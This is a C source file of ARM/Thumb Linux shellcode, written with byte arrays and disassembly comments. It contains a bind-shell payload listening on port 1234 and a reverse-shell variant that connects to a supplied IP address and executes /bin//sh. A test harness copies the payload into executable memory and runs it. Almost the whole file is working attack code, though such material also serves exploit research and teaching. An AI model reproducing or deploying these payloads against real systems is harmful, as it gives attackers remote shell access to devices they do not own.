/**
Copyright © 2017 Odzhan. All Rights Reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE. */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#ifndef CONNECT
// bind shell
#define CODE_SIZE 104
char CODE[] = {
/* 0000 */ "\x54\x40\x9f\xe5" /* ldr r4, [pc, #0x54] */
/* 0004 */ "\x54\x50\x9f\xe5" /* ldr r5, [pc, #0x54] */
/* 0008 */ "\x54\x60\x9f\xe5" /* ldr r6, [pc, #0x54] */
/* 000C */ "\x01\x30\x8f\xe2" /* add r3, pc, #1 */
/* 0010 */ "\x13\xff\x2f\xe1" /* bx r3 */
/* 0014 */ "\x52\x40" /* eors r2, r2 */
/* 0016 */ "\x01\x21" /* movs r1, #1 */
/* 0018 */ "\x0f\x02" /* lsls r7, r1, #8 */
/* 001A */ "\x19\x37" /* adds r7, #0x19 */
/* 001C */ "\x02\x20" /* movs r0, #2 */
/* 001E */ "\x01\xdf" /* svc #1 */
/* 0020 */ "\x80\x46" /* mov r8, r0 */
/* 0022 */ "\x21\x1c" /* adds r1, r4, #0 */
/* 0024 */ "\x06\xb4" /* push {r1, r2} */
/* 0026 */ "\x69\x46" /* mov r1, sp */
/* 0028 */ "\x4a\x70" /* strb r2, [r1, #1] */
/* 002A */ "\x10\x22" /* movs r2, #0x10 */
/* 002C */ "\x01\x37" /* adds r7, #1 */
/* 002E */ "\x01\xdf" /* svc #1 */
/* 0030 */ "\x01\x21" /* movs r1, #1 */
/* 0032 */ "\x40\x46" /* mov r0, r8 */
/* 0034 */ "\x02\x37" /* adds r7, #2 */
/* 0036 */ "\x01\xdf" /* svc #1 */
/* 0038 */ "\x52\x40" /* eors r2, r2 */
/* 003A */ "\x49\x40" /* eors r1, r1 */
/* 003C */ "\x40\x46" /* mov r0, r8 */
/* 003E */ "\x01\x37" /* adds r7, #1 */
/* 0040 */ "\x01\xdf" /* svc #1 */
/* 0042 */ "\x80\x46" /* mov r8, r0 */
/* 0044 */ "\x03\x21" /* movs r1, #3 */
/* 0046 */ "\x3f\x27" /* movs r7, #0x3f */
/* 0048 */ "\x40\x46" /* mov r0, r8 */
/* 004A */ "\x01\x39" /* subs r1, #1 */
/* 004C */ "\x01\xdf" /* svc #1 */
/* 004E */ "\xfa\xd1" /* bne #0x46 */
/* 0050 */ "\x17\x1c" /* adds r7, r2, #0 */
/* 0052 */ "\xe0\xb4" /* push {r5, r6, r7} */
/* 0054 */ "\x68\x46" /* mov r0, sp */
/* 0056 */ "\x0b\x27" /* movs r7, #0xb */
/* 0058 */ "\x01\xdf" /* svc #1 */
/* 005A */ "\xc0\x46" /* mov r8, r8 */
/* 005C */ "\x02\xff\x04\xd2" /* AF_INET, 1234 */
/* 0060 */ "\x2f\x62\x69\x6e" /* /bin */
/* 0064 */ "\x2f\x2f\x73\x68" /* //sh */
};
#else
char CODE[] = {
/* 0000 */ "\x44\x30\x9f\xe5" /* ldr r3, [pc, #0x44] */
/* 0004 */ "\x44\x40\x9f\xe5" /* ldr r4, [pc, #0x44] */
/* 0008 */ "\x44\x50\x9f\xe5" /* ldr r5, [pc, #0x44] */
/* 000C */ "\x44\x60\x9f\xe5" /* ldr r6, [pc, #0x44] */
/* 0010 */ "\x01\x00\x8f\xe2" /* add r0, pc, #1 */
/* 0014 */ "\x10\xff\x2f\xe1" /* bx r0 */
/* 0018 */ "\x52\x40" /* eors r2, r2 */
/* 001A */ "\x01\x21" /* movs r1, #1 */
/* 001C */ "\x02\x20" /* movs r0, #2 */
/* 001E */ "\x0f\x02" /* lsls r7, r1, #8 */
/* 0020 */ "\x19\x37" /* adds r7, #0x19 */
/* 0022 */ "\x01\xdf" /* svc #1 */
/* 0024 */ "\x80\x46" /* mov r8, r0 */
/* 0026 */ "\x18\xb4" /* push {r3, r4} */
/* 0028 */ "\x69\x46" /* mov r1, sp */
/* 002A */ "\x4a\x70" /* strb r2, [r1, #1] */
/* 002C */ "\x10\x22" /* movs r2, #0x10 */
/* 002E */ "\x02\x37" /* adds r7, #2 */
/* 0030 */ "\x01\xdf" /* svc #1 */
/* 0032 */ "\x03\x21" /* movs r1, #3 */
/* 0034 */ "\x3f\x27" /* movs r7, #0x3f */
/* 0036 */ "\x40\x46" /* mov r0, r8 */
/* 0038 */ "\x01\x39" /* subs r1, #1 */
/* 003A */ "\x01\xdf" /* svc #1 */
/* 003C */ "\xfa\xd1" /* bne #0x34 */
/* 003E */ "\x52\x40" /* eors r2, r2 */
/* 0040 */ "\x17\x1c" /* adds r7, r2, #0 */
/* 0042 */ "\xe0\xb4" /* push {r5, r6, r7} */
/* 0044 */ "\x68\x46" /* mov r0, sp */
/* 0046 */ "\x0b\x27" /* movs r7, #0xb */
/* 0048 */ "\x01\xdf" /* svc #1 */
/* 004A */ "\xc0\x46" /* mov r8, r8 */
/* 004C */ "\x02\xff\x04\xd2" /* AF_INET, 1234 */
/* 0050 */ "\x7f\x00\x00\x01" /* 127.0.0.1 */
/* 0054 */ "\x2f\x62\x69\x6e" /* /bin */
/* 0058 */ "\x2f\x2f\x73\x68" /* //sh */
};
#define IP_ADDR_OFS 0x50
#endif
// allocate read/write and executable memory
// copy data from code and execute
void exec_code(void *code, size_t code_len, char *ip_str) {
void *bin;
uint8_t *p;
in_addr_t ip;
#ifdef CONNECT
ip=inet_addr(ip_str);
#endif
bin=mmap (0, code_len,
PROT_EXEC | PROT_WRITE | PROT_READ,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (bin!=NULL) {
p=(uint8_t*)bin;
memcpy (p, code, code_len);
#ifdef CONNECT
// copy ip
memcpy ((void*)&p[IP_ADDR_OFS], (void*)&ip, sizeof(ip));
#endif
// execute
((void(*)())bin)();
munmap (bin, code_len);
}
}
int main(int argc, char *argv[]) {
#ifdef CONNECT
if(argc!=2){
printf("usage: test <ip address>\n");
return 0;
}
#endif
exec_code(CODE, CODE_SIZE,argv[1]);
return 0;
}
